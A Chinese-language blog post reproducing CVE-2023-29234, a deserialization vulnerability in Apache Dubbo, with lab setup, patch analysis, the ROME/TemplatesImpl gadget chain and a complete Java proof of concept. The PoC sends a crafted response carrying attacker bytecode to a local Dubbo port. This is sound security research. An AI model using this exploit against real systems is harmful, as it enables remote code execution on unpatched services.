Apache dubbo反序列化漏洞复现(CVE-2023-29234)

前言

叔叔的任务,复现一手 CVE-2023-29234

环境搭建

从官方的漏洞公告可以看到,影响的版本是:

  • >= 3.1.0, < 3.1.11
  • >= 3.2.0, < 3.2.5

由于dubbo是最潮的微服务项目,所以会用到最潮的ZooKeeper,由于我是windows环境,主要参考的文章是Windows安装Zookeeper

首先去下一份zookeeper,解压之后将conf目录下的zoo_sample.cfg文件,复制一份重命名为zoo.cfg,接着在zoo.cfg配置一下dataDir和dataLogDir路径(对应的日志目录需要自己创建一下)

最后启动zookeeper只需要点一下这个zkServer.cmd即可

接着需要部署一下dubbo环境,这里我选择使用现成的项目:https://github.com/lz2y/DubboPOC,只不过这个项目默认对应的dubbo版本有点低,这里我改成 3.1.5 了,我本地的jdk环境是1.8_65:

但是改完之后他这个环境因为之前的dubbo配置太老了,没办法直接运行 DubboProvider,我这里自己改了很多配置才搭起来,传到 github 上了,最后只需要启动一下 DubboProvider 即可,可以看到日志已经显示 dubbo service started

漏洞分析

既然是CVE,那么当然需要先去看看commit记录:

可以看到变化不是很大,主要是从

throw new IOException("Response data error, expect Throwable, but get " + obj);

改成了

throw new IOException("Response data error, expect Throwable, but get " + obj.getClass());

二者有什么差别呢?经验丰富的师傅应该知道,如果直接拼接对象 obj 的字符串表示,最后输出的结果会是 obj.toString() 的内容,这可是一个肉眼可见的危险的操作,而 obj.getClass() 只是返回对应的class。

当然,我们本地可以先试试,写个简单的测试代码:

public class Test_tostring {
        public static void main(String[] args) {
            Object obj = new Demo();
            String result = "The object is: " + obj;
            System.out.println(result);
        }

        static class Demo {
            @Override
            public String toString() {
                return "This is the Demo object!";
            }
        }

}

可以看到就像我们之前说的一样,这里会直接调用对应对象的 toString 方法,在我印象里有非常多的反序列化链子中有 toString,典型的有rome、Jackson等等,而这里由于链子直接从 toString 开始(一般的链子都是从 readObject 开始的),对于攻击者而言利用确实非常的方便。

看了看环境里有rome的依赖,那还是打rome链吧,rome链有两种打法,一种是标准的yso打法,payload较长,另一种是许少提过的 Hashtable 链,可以压缩payload,这里我们还是选择最简单的yso打法吧,我自己很多年前复现过,贴一个链接:https://fushuling.com/index.php/2023/01/30/java%E5%AE%89%E5%85%A8%E7%AC%94%E8%AE%B0/

由于这里的入口点是 toString ,gadget要稍微改改,大概如下:

ObjectBean.toString()
    ToStringBean.toString()
        TemplatesImpl.getOutputProperties()

简单来说就是用 ObjectBean.toString 触发 ToStringBean.toString(),而 ToStringBean,toString 会调用 getPropertyDescriptors

getPropertyDescriptors 会分析类的结构,找出哪些方法是标准的 getter/setter 方法,接着在 ToStringBean#toString 的后面就用invoke进行触发了,所以我们只需要传入一个OutputProperties,接着 invoke 就会执行 getOutputProperties

最后的 Sink 点在 TemplatesImplTemplatesImpl.getOutputProperties()可以用于加载字节码,大致的调用过程如下,也算是非常经典了, CB1 和 JDK7u21原生链也是这里作为Sink点:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

不过按理说这里应该能直接从 ToStringBean.toString() 开始触发?毕竟入口点都是 toString 了。

链子找到了,现在需要看看漏洞怎么触发,反向寻找了一下调用栈,入口点应该是这里的 DecodeableRpcResult#decode ,因为这里的这里有明显的可控值 in,它用于从输入流中反序列化对象的工具(ObjectInput 实例),而下面的 switch 语句可以触发 this.handleException(in)

跟进 DecodeableRpcResult#handleException,可以看到这里调用了 this.setException(in.readThrowable())

而这个 readThrowable 就是我们的目标了:

总结一下,调用链为:

DecodeableRpcResult#decode -> DecodeableRpcResult#handleException -> ObjectInput#readThrowable

现在得想办法调用 DecodeableRpcResult#decode,在网上找到了一篇讲 Dubbo 的文章:Dubbo 编解码那些事_decodeablerpcresult-CSDN博客 ,这里提到消费者在接收响应时会使用 DecodeableRpcResult#decode 进行解码:

现在我们需要构造一个 Response 信息交给服务端解码,只不过服务端的解码逻辑好像和那个文章里提到的有点不一样,找了找是在 DubboCodec#decodeBody 具体执行的解码操作,可以看到这里它先定义了一个 DecodeableRpcResult 类型的 result,然后触发了 result.decode()

这里涉及到了一点 Dubbo 协议交互的东西,我没怎么看懂,不过看到我学长之前有搞好的:https://github.com/RacerZ-fighting/DubboPOC/blob/main/src/main/java/top/lz2y/vul/CVE202329234.java,这里我只把协议交互的这一部分拆出来了,其他的还是我自己写的。

因为这里的入口点是toString,所以我们也只需要rome链从ToStringBean.toString开始的部分,gadget为:ToStringBean.toString() -> TemplatesImpl#getOutputProperties,完整代码如下(top.lz2y.vul.EvilTest是提前配好的类,主要就是弹了一下计算器):

package top.lz2y.vul;

import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Serialization;
import org.apache.dubbo.common.serialize.nativejava.NativeJavaObjectOutput;
import org.apache.dubbo.common.serialize.nativejava.NativeJavaSerialization;
import org.apache.dubbo.remoting.exchange.Response;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;

import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;

import javax.xml.transform.Templates;
import java.io.OutputStream;
import java.net.Socket;

import static org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.RESPONSE_WITH_EXCEPTION;

public class CVE202329234 {
    protected static final int HEADER_LENGTH = 16;
    protected static final short MAGIC = (short) 0xdabb;

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {

        ByteArrayOutputStream boos = new ByteArrayOutputStream();
        ByteArrayOutputStream nativeJavaBoos = new ByteArrayOutputStream();
        Serialization serialization = new NativeJavaSerialization();
        NativeJavaObjectOutput out = new NativeJavaObjectOutput(nativeJavaBoos);

        byte[] header = new byte[HEADER_LENGTH];
        Bytes.short2bytes(MAGIC, header);
        header[2] = serialization.getContentTypeId();

        header[3] = Response.OK;
        Bytes.long2bytes(1, header, 4);

        // payload的生成,因为这里的入口点是toString,所以我们也只需要rome链从ToStringBean.toString开始的部分
        // gadget为:ToStringBean.toString() -> TemplatesImpl#getOutputProperties()
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath("target/classes");
        CtClass clazzz = pool.get("top.lz2y.vul.EvilTest");
        byte[] code = clazzz.toBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        ToStringBean exp = new ToStringBean(Templates.class, templates);
        out.writeByte(RESPONSE_WITH_EXCEPTION);
        out.writeObject(exp);

        out.flushBuffer();

        Bytes.int2bytes(nativeJavaBoos.size(), header, 12);
        boos.write(header);
        boos.write(nativeJavaBoos.toByteArray());

        byte[] responseData = boos.toByteArray();

        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(responseData);
        outputStream.flush();
        outputStream.close();
    }

}

包括代码和环境在内都放在github了:https://github.com/Fushuling/DubboPOC

参考

Apache dubbo反序列化漏洞分析(CVE-2023-29234)

Apache dubbo 部分历史漏洞以及 CVE-2023-29234 分析

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇